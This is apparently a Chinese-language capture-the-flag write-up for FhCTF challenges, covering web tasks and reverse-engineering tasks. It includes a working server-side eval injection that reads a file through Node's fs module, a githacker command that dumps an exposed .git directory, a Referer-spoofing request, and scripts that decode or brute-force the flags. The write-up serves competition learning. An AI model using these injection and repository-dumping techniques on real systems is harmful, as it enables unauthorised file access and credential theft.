https://bmi-calc.fhh4ck3rs.taipei/

Author: xiunG

題解

  1. 附加檔案中的app.js,其中result = eval(expression);可作為攻擊點
  2. 寫腳本
    import requests
    
    req = requests.post('https://bmi-calc.fhh4ck3rs.taipei/bmi', json={
        'string': "require(\'fs\').readFileSync(\'./flag\').toString()"
    })
    print(req.status_code)
    print(req.content)
    

Flag: FhCTF{bReAk_bM1_cAcu1aT0r}


Login

原圖

Challenge

I found a login page. What is the account and password?
https://login.fhh4ck3rs.taipei

Author: Scott

題解

  1. DotGit發威
  2. 先撈資料 $ githacker --url https://login.fhh4ck3rs.taipei/.git/ --output-folder result
  3. 因為不熟Git,所以用常用的IDE去分析.git/拿到帳號密碼 image
  4. 登入後就可以拿到Flag

Flag: FhCTF{r3m0ve_fr0m_F1LE_6U7_in_Rep0}


上鎖了!?

原圖

Challenge

公堂之上,假設一下不犯法吧?
但是上鎖是真的啦!!
https://locked.fhh4ck3rs.taipei/

Author: CXPh03n1x

題解

  1. 網站中的「鎖在外面了」給了兩個解題方向「XFF」與「Referer」

  2. 看完在robots.txt更加印證了這點

  3. 再用dirb後得到/admin可被訪問 image

  4. 這裡好像本來是要藏起來,但被Darkreader助攻了,得知Flag的路徑 image

  5. 在main.js中也發現了可疑的段落,可直接將thing讀出,或訪問/admin/#secret路徑

    var thing = atob(atob(atob("VERKR2EySlhiSFZNTUVaTVUydFNWRk5yV2t4U1JrNUxWRVZHVkZKcE9YSmpNbmhyWVcxYWRtRlhSbXRqTWxsMVpFaG9NQT09")));
    
    fetch(thing).then(function (response) {
        return response.text();
    }).then(function (data) {
        pages["secret"] = data;
    
        if (!location.hash) {
            location.hash = "#home";
        }
        loadContent();
    
        window.addEventListener("hashchange", loadContent)
    });
    
  6. 根據「你必須從 locked.fhh4ck3rs.taipei 來才能看到 flag! 但是記得…因為上鎖,其實也就不用這麼安全的訪問了!」,猜要把https變更為http

  7. 寫腳本

    import requests
    
    req = requests.get('https://locked.fhh4ck3rs.taipei/admin/flag.txt', headers={
        'Referer': 'http://locked.fhh4ck3rs.taipei'
    })
    
    print(req.status_code)
    print(req.content.decode('utf-8'))
    

Flag: FhCTF{4n_unl0cked_l0ck_15_s7up1d}


REVERSE

BabyReverse

原圖

Challenge

真.嬰兒等級逆向
雖然解題是嬰兒,但是出題卻是博士..人生好難QWQ。

Author: CXPh03n1x

題解

進gdb用 $ jump print_flag image

Flag: FhCTF{Y0u_ar3_b4by_r3v3r53_eng1n33r$%&}


BabyReverse Revenge

原圖

Challenge

報仇?說「搞自己」還比較
準確點… 說真的…為什麼出題者們都喜歡把變難的題目說成是「復仇」?

Author: CXPh03n1x

題解

這題不再是 jump 就有答案

image

逆向結果
  1void print_flag(void)
  2
  3{
  4  undefined *answer;
  5  long in_FS_OFFSET;
  6  undefined auStack_178 [8];
  7  int j;
  8  undefined4 var_0x7f;
  9  ulong var_0x23;
 10  undefined8 local_160;
 11  undefined8 local_158;
 12  undefined *local_150;
 13  int buffer [74];
 14  long canary;
 15  
 16  canary = *(long *)(in_FS_OFFSET + 0x28);
 17  buffer[0] = 0x79;
 18  buffer[1] = 0x57;
 19  buffer[2] = 0x7c;
 20  buffer[3] = 0x6b;
 21  buffer[4] = 0x79;
 22  buffer[5] = 0x44;
 23  buffer[6] = 0x68;
 24  buffer[7] = 0x57;
 25  buffer[8] = 0x46;
 26  buffer[9] = 0x60;
 27  buffer[10] = 0x7c;
 28  buffer[11] = 8;
 29  buffer[12] = 0x79;
 30  buffer[13] = 0xc;
 31  buffer[14] = 0x4d;
 32  buffer[15] = 0x4c;
 33  buffer[16] = 0x60;
 34  buffer[17] = 0x53;
 35  buffer[18] = 0xe;
 36  buffer[19] = 0x54;
 37  buffer[20] = 0xc;
 38  buffer[21] = 0x60;
 39  buffer[22] = 0x4d;
 40  buffer[23] = 0xc;
 41  buffer[24] = 0x49;
 42  buffer[25] = 0xc;
 43  buffer[26] = 0x51;
 44  buffer[27] = 0x58;
 45  buffer[28] = 0xc;
 46  buffer[29] = 0x11;
 47  buffer[30] = 0x11;
 48  buffer[31] = 0x1b;
 49  buffer[32] = 0;
 50  buffer[33] = 0x1b;
 51  buffer[34] = 0x42;
 52  buffer[36] = 0x6f;
 53  buffer[37] = 0x6f;
 54  buffer[38] = 0x6f;
 55  buffer[39] = 0x70;
 56  buffer[40] = 0x73;
 57  buffer[41] = 0x2e;
 58  buffer[42] = 0x2e;
 59  buffer[43] = 0x49;
 60  buffer[44] = 0x20;
 61  buffer[45] = 0x66;
 62  buffer[46] = 0x6f;
 63  buffer[47] = 0x72;
 64  buffer[48] = 0x67;
 65  buffer[49] = 0x6f;
 66  buffer[50] = 0x74;
 67  buffer[51] = 0x20;
 68  buffer[52] = 0x74;
 69  buffer[53] = 0x6f;
 70  buffer[54] = 0x20;
 71  buffer[55] = 0x61;
 72  buffer[56] = 100;
 73  buffer[57] = 100;
 74  buffer[58] = 0x20;
 75  buffer[59] = 0x6d;
 76  buffer[60] = 0x61;
 77  buffer[61] = 0x73;
 78  buffer[62] = 0x6b;
 79  buffer[63] = 0x20;
 80  buffer[64] = 0x27;
 81  buffer[65] = 0x3f;
 82  buffer[66] = 0x27;
 83  buffer[67] = 0x20;
 84  buffer[68] = 0x2e;
 85  buffer[69] = 0x2e;
 86  buffer[70] = 0x2e;
 87  buffer[71] = 0x4f;
 88  buffer[72] = 0x72;
 89  buffer[73] = 0x7a;
 90  var_0x23 = 0x23;
 91  local_160 = 0x26;
 92  var_0x7f = 0x7f;
 93  local_158 = 0x23;
 94  for (answer = auStack_178; answer != auStack_178; answer = answer + -0x1000) {
 95    *(undefined8 *)(answer + -8) = *(undefined8 *)(answer + -8);
 96  }
 97  *(undefined8 *)(answer + -8) = *(undefined8 *)(answer + -8);
 98  local_150 = answer + -0x30;
 99  for (j = 0; (ulong)(long)j < var_0x23; j = j + 1) {
100    answer[(long)j + -0x30] = (byte)buffer[j] ^ (byte)var_0x7f;
101  }
102  answer[var_0x23 - 0x2f] = 0;
103  *(undefined8 *)(answer + -0x38) = 0x10177a;
104  puts(answer + -0x30);
105  if (canary == *(long *)(in_FS_OFFSET + 0x28)) {
106    return;
107  }
108                    /* WARNING: Subroutine does not return */
109  __stack_chk_fail();
110}

可以看到做運算的地方迴圈只有跑 0x23 次,但 buffer 的大小遠超於這個數字 若把之後的資料給 print 出來

分析 + 答案
 1buffer = [
 20x00000079,	0x00000057,	0x0000007c,	0x0000006b,
 30x00000079,	0x00000044,	0x00000068,	0x00000057,
 40x00000046,	0x00000060,	0x0000007c,	0x00000008,
 50x00000079,	0x0000000c,	0x0000004d,	0x0000004c,
 60x00000060,	0x00000053,	0x0000000e,	0x00000054,
 70x0000000c,	0x00000060,	0x0000004d,	0x0000000c,
 80x00000049,	0x0000000c,	0x00000051,	0x00000058,
 90x0000000c,	0x00000011,	0x00000011,	0x0000001b,
100x00000000,	0x0000001b,	0x00000042,	0x00000000,
110x0000006f,	0x0000006f,	0x0000006f,	0x00000070,
120x00000073,	0x0000002e,	0x0000002e,	0x00000049,
130x00000020,	0x00000066,	0x0000006f,	0x00000072,
140x00000067,	0x0000006f,	0x00000074,	0x00000020,
150x00000074,	0x0000006f,	0x00000020,	0x00000061,
160x00000064,	0x00000064,	0x00000020,	0x0000006d,
170x00000061,	0x00000073,	0x0000006b,	0x00000020,
180x00000027,	0x0000003f,	0x00000027,	0x00000020,
190x0000002e,	0x0000002e,	0x0000002e,	0x0000004f,
200x00000072,	0x0000007a]
21
22
23for char in buffer[:0x23]: print(chr(char ^ 0x7f), end='')
24print('\n============================================')
25for char in buffer[0x23:]: print(chr(char), end='')
26print()
27
28# (;(9ws23,q+s2s6s.'snndd= 錯誤的 flag
29# ============================================
30# ooops..I forgot to add mask '?' ...Orz 看起來是跟 '?' 做運算有關
31
32# 答案:
33for char in buffer[:0x23]: print(chr(char ^ ord('?')), end='')

Flag: FhCTF{Why_C7F3rs_l1k3_r3v3ng3..$?$}


真。逆向工程

原圖

Challenge

真的來了,逆向工程真的來了!!
總之..這次真的來了!

Author: CXPh03n1x

題解

逆向結果 main
 1/* WARNING: Removing unreachable block (ram,0x00101690) */
 2
 3undefined8 main(int argc,char **argv) {
 4  int random_num;
 5  time_t tVar1;
 6  long lVar2;
 7  char **ppcVar3;
 8  char **ppcVar4;
 9  long in_FS_OFFSET;
10  byte bVar5;
11  char *answer_list [41];
12  long canary;
13  
14  bVar5 = 0;
15  canary = *(long *)(in_FS_OFFSET + 0x28);
16  setvbuf(stdout,(char *)0x0,2,0);
17  tVar1 = time((time_t *)0x0);
18  srand((uint)tVar1);
19  if (argc != 2) {
20    puts(&DAT_00102008);
21    puts(&DAT_00102024);
22                    /* WARNING: Subroutine does not return */
23    exit(0);
24  }
25  ppcVar3 = &PTR_s_Outlook_not_so_good._00104020;
26  ppcVar4 = answer_list;
27  for (lVar2 = 0x28; lVar2 != 0; lVar2 = lVar2 + -1) {
28    *ppcVar4 = *ppcVar3;
29    ppcVar3 = ppcVar3 + (ulong)bVar5 * -2 + 1;
30    ppcVar4 = ppcVar4 + (ulong)bVar5 * -2 + 1;
31  }
32  puts("You asked:");
33  msleep(0,500);
34  printf("\"%s\"\n",argv[1]);
35  msleep(1,0);
36  printf("Hmmm");
37  msleep(1,0);
38  putchar(0x2e);
39  msleep(1,0);
40  putchar(0x2e);
41  msleep(1,0);
42  putchar(0x2e);
43  msleep(1,0);
44  puts(".");
45  msleep(2,0);
46  random_num = rand();
47  puts(answer_list[(int)((ulong)(long)random_num % 0x28)]);
48  if (canary == *(long *)(in_FS_OFFSET + 0x28)) {
49    return 0;
50  }
51                    /* WARNING: Subroutine does not return */
52  __stack_chk_fail();
53}

他還有一個 print_flag,在 main 裡面其實有,但是沒有顯示出來(或許是不可能跑到這個分支)

逆向結果 print_flag
  1
  2void print_flag(void)
  3
  4{
  5  long in_FS_OFFSET;
  6  int i;
  7  int j;
  8  int k;
  9  char buffer [57];
 10  char secret [57];
 11  long canary;
 12  
 13  canary = *(long *)(in_FS_OFFSET + 0x28);
 14  secret[0] = '\v';
 15  secret[1] = '+';
 16  secret[2] = 'W';
 17  secret[3] = 'y';
 18  secret[4] = '\x19';
 19  secret[5] = '-';
 20  secret[6] = '\x60';
 21  secret[7] = '0';
 22  secret[8] = '\a';
 23  secret[9] = 'V';
 24  secret[10] = '@';
 25  secret[11] = ',';
 26  secret[12] = '\v';
 27  secret[13] = '\x1e';
 28  secret[14] = '\x19';
 29  secret[15] = 'D';
 30  secret[16] = 'o';
 31  secret[17] = 'm';
 32  secret[18] = '\x0f';
 33  secret[19] = '\x18';
 34  secret[20] = '\t';
 35  secret[21] = 't';
 36  secret[22] = 'w';
 37  secret[23] = '\x1b';
 38  secret[24] = '\x16';
 39  secret[25] = '$';
 40  secret[26] = 'g';
 41  secret[27] = 'R';
 42  secret[28] = '*';
 43  secret[29] = '\x02';
 44  secret[30] = '\x0f';
 45  secret[31] = '*';
 46  secret[32] = '}';
 47  secret[33] = ']';
 48  secret[34] = 'w';
 49  secret[35] = 'N';
 50  secret[36] = 'R';
 51  secret[37] = '%';
 52  secret[38] = '\x1b';
 53  secret[39] = '\x60';
 54  secret[40] = 'I';
 55  secret[41] = '\x06';
 56  secret[42] = 'd';
 57  secret[43] = '[';
 58  secret[44] = 'c';
 59  secret[45] = '%';
 60  secret[46] = '-';
 61  secret[47] = ',';
 62  secret[48] = '\x60';
 63  secret[49] = '!';
 64  secret[50] = '\b';
 65  secret[51] = '@';
 66  secret[52] = 'f';
 67  secret[53] = 'K';
 68  secret[54] = 'z';
 69  secret[55] = 'R';
 70  stack0xffffffffffffffb0 = 0x71e2064576e5b5b;
 71  buffer[0] = '$';
 72  buffer[1] = '\x0e';
 73  buffer[2] = 's';
 74  buffer[3] = '7';
 75  buffer[4] = '\x01';
 76  buffer[5] = '>';
 77  buffer[6] = 'c';
 78  buffer[7] = 'H';
 79  buffer[8] = 'S';
 80  buffer[9] = '_';
 81  buffer[10] = ')';
 82  buffer[11] = '>';
 83  buffer[12] = 'o';
 84  buffer[13] = 'n';
 85  buffer[14] = '-';
 86  buffer[15] = 'r';
 87  buffer[16] = '\a';
 88  buffer[17] = '0';
 89  buffer[18] = 'i';
 90  buffer[19] = 'A';
 91  buffer[20] = '\x11';
 92  buffer[21] = 'y';
 93  buffer[22] = '8';
 94  buffer[23] = '\'';
 95  buffer[24] = 'l';
 96  buffer[25] = 'X';
 97  buffer[26] = '\t';
 98  buffer[27] = 'Z';
 99  buffer[28] = '-';
100  buffer[29] = '0';
101  buffer[30] = 'e';
102  buffer[31] = 'y';
103  buffer[32] = '\x1e';
104  buffer[33] = '\x1a';
105  buffer[34] = 'i';
106  buffer[35] = '}';
107  buffer[36] = '\x19';
108  buffer[37] = '8';
109  buffer[38] = '{';
110  buffer[39] = '\x01';
111  buffer[40] = 'T';
112  buffer[41] = 'U';
113  buffer[42] = '<';
114  buffer[43] = '=';
115  buffer[44] = 'E';
116  buffer[45] = 'z';
117  buffer[46] = '\t';
118  buffer[47] = 'x';
119  buffer[48] = '\x1f';
120  buffer[49] = '3';
121  buffer[50] = 's';
122  buffer[51] = '{';
123  buffer[52] = 'Q';
124  buffer[53] = '-';
125  buffer[54] = '\x18';
126  buffer[55] = '\0';
127  buffer[56] = 'O';
128  for (i = 56; 0 < i; i = i + -1) {
129    buffer[i] = buffer[i + -1] ^ buffer[i];
130  }
131  for (j = 0; (uint)j < 57; j = j + 1) {
132    buffer[j] = buffer[j] ^ 0x69;
133  }
134  for (k = 0; (uint)k < 57; k = k + 1) {
135    buffer[k] = secret[k] ^ buffer[k];
136  }
137  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
138                    /* WARNING: Subroutine does not return */
139    __stack_chk_fail();
140  }
141  return;
142}

因為沒有 puts 出來,所以直接跑到 print_flag 看記憶體 image

Flag: FhCTF{Tru3_R3v3rs3?Y0u_m4y_h4v3_s0m3_m1sund3rs74nd!!%^&#}


Secret Message

原圖

Challenge

I got an encryption program and an encrypted message. How can I decrypt it

Author: Scott

題解

給了兩個檔案

  1. enc: 執行
  2. flag.enc: 751 707 513 755 627 1036 1005 109 682 674 252 671 247 259 439 526 318 574 742 135 709 731 495 872 436 827

直接執行 enc 會得到: Usage: enc [FILE] flag.enc 八成是 enc flag 的結果

嘗試 enc 內容是 ‘FhCTF{’ 的檔案

$ cat flag
FhCTF{

$ ./enc flag
751 707 513 755 627 1036

嘗試 enc 內容是 ‘FhCTF{?’ 的檔案

$ cat flag
FhCTF{?

$ ./enc flag
751 707 513 755 627 1036 986 

所以可以快速爆破最後一個字元直到和 flag.enc 一樣 這裡用比較笨的方法,用 pwntools 的 process 操作

 1from pwn import *
 2from string import printable
 3
 4flag = ""
 5flag_enc = "751 707 513 755 627 1036 1005 109 682 674 252 671 247 259 439 526 318 574 742 135 709 731 495 872 436 827".split()
 6
 7for enc in flag_enc:
 8    for char in printable:
 9        with open("./flag", "wb") as file:
10            tmp = flag + char
11            file.write(tmp.encode())
12        
13        io = process(["./enc", "./flag"])
14        if io.recv().decode().split(' ')[-2] == enc:
15            flag += char
16            break
17        io.close()
18
19# 最後 flag 的內容就是答案

Flag: FhCTF{R@nD0m_S33d_1S_C001}